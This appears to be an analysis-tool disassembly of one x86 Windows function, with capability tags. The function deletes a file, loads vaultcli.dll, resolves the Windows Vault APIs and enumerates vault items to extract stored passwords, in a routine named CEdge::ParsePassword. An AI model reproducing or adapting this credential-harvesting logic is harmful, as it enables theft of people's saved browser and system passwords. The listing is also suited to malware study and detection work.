Function at 0x10009000
Capabilities:
Delete file
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1010c2fb
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x10152034]
xor eax, esp
mov dword [esp + 0xe0], eax
push ebx
push esi
push edi
mov eax, dword [0x10152034]
xor eax, esp
push eax
lea eax, [esp + 0xf8]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi]
sub esp, 0x18
mov ebx, dword [ebp + 8]
mov dword [esp + 0x48], ebx
push esp
call dword [edx + 0x18]
mov ecx, esi
call fcn.10004960
mov edi, eax
test edi, edi
je 0x10009083
push ebx
push edi
mov ecx, esi
call fcn.10005db0
xor edx, edx
mov ecx, edi
call fcn.100b9d50
cmp dword [esi + 0x30], 8
lea eax, [esi + 0x1c]
jb 0x1000907c
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esi + 0x80], 0
jne 0x100090c3
push str.vaultcli.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x80], eax
test eax, eax
jne 0x100090c3
push str.Init_vault_fail_
push 3
push 0x3c
push 0x10119858
push 0x1011982c
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VaultOpenVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x24], eax
test eax, eax
jne 0x10009100
push str.Find_VaultOpenVault_fail_
push 3
push 0x49
push 0x101198e8
push 0x10119934
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultEnumerateVaults
push dword [esi + 0x80]
call edi
mov ebx, eax
test ebx, ebx
jne 0x10009135
push 0x10119978
push 3
push 0x50
push 0x101199b8
push 0x10119a04
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultEnumerateItems
push dword [esi + 0x80]
call edi
mov dword [esp + 0x2c], eax
test eax, eax
jne 0x1000916c
push str.Find_VaultEnumerateVaults_fail_
push 3
push 0x57
push 0x10119ab0
push 0x10119a44
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultCloseVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x100091a3
push str.Find_VaultCloseVault_fail_
push 3
push 0x5e
push 0x10119b70
push 0x10119b44
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultFree
push dword [esi + 0x80]
call edi
mov dword [esp + 0x18], eax
test eax, eax
jne 0x100091da
push str.Find_VaultFree_fail_
push 3
push 0x65
push 0x10119c20
push 0x10119bf4
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultGetItem
push dword [esi + 0x80]
call edi
mov dword [esp + 0x28], eax
test eax, eax
jne 0x10009211
push str.Find_VaultGetItem8_fail_
push 3
push 0x6c
push 0x10119cb0
push 0x10119cfc
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
lea eax, [esp + 0x40]
mov dword [esp + 0x44], 0
push eax
lea eax, [esp + 0x48]
push eax
push 0
call ebx
test eax, eax
je 0x1000924d
push str.VaultEnumerateVaults_fail_
push 3
push 0x75
push str..._srcMoniterHelper_browserEdge.cpp
push str.CEdge::ParsePassword
call fcn.100ffcc0
add esp, 0x14
xor al, al
jmp 0x100093cf
xor ebx, ebx
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x44], ebx
jbe 0x100093cd
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x44]
push 0
add eax, esi
push eax
call dword [esp + 0x30]
test eax, eax
jne 0x100093b7
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0x200
push dword [esp + 0x44]
call dword [esp + 0x3c]
test eax, eax
jne 0x100093ae
xor edi, edi
cmp dword [esp + 0x48], edi
jbe 0x100093a6
xor ebx, ebx
lea ebx, [ebx]
lea ecx, [esp + 0x4c]
call fcn.10005710
mov dword [esp + 0x100], 0
mov esi, dword [esp + 0x3c]
add esi, ebx
mov eax, dword [esi + 0x14]
cmp dword [eax + 8], 7
jne 0x100092d8
mov eax, dword [eax + 0x10]
jmp 0x100092dd
mov eax, 0x10119dd8
push eax
lea ecx, [esp + 0x50]
call fcn.10003960
mov eax, dword [esi + 0x18]
cmp dword [eax + 8], 7
jne 0x100092f5
mov eax, dword [eax + 0x10]
jmp 0x100092fa
mov eax, 0x10119ddc
push eax
lea ecx, [esp + 0x98]
call fcn.10003960
lea eax, [esp + 0x34]
mov dword [esp + 0x34], 0
push eax
push 0
push 0
push dword [esi + 0x20]
push dword [esi + 0x18]
push dword [esi + 0x14]
push esi
push dword [esp + 0x54]
call dword [esp + 0x48]
test eax, eax
jne 0x1000936f
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0x1c]
cmp dword [ecx + 8], 7
sete al
test al, al
je 0x10009345
mov eax, dword [ecx + 0x10]
jmp 0x1000934a
mov eax, 0x10119de0
push eax
lea ecx, [esp + 0xb0]
call fcn.10003960
cmp dword [esp + 0xbc], 0
je 0x1000936f
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x4c]
push eax
call fcn.10006f30
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1000937c
push eax
call dword [esp + 0x1c]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x100], 0xffffffff
call fcn.10005780
inc edi
add ebx, 0x38
cmp edi, dword [esp + 0x48]
jb 0x100092b0
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x14]
push dword [esp + 0x3c]
call dword [esp + 0x1c]
lea eax, [esp + 0x38]
push eax
call dword [esp + 0x20]
inc ebx
add esi, 0x10
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], esi
cmp ebx, dword [esp + 0x44]
jb 0x10009263
mov al, 1
mov ecx, dword [esp + 0xf8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe0]
xor ecx, esp
call fcn.1010a06b
mov esp, ebp
pop ebp
ret 4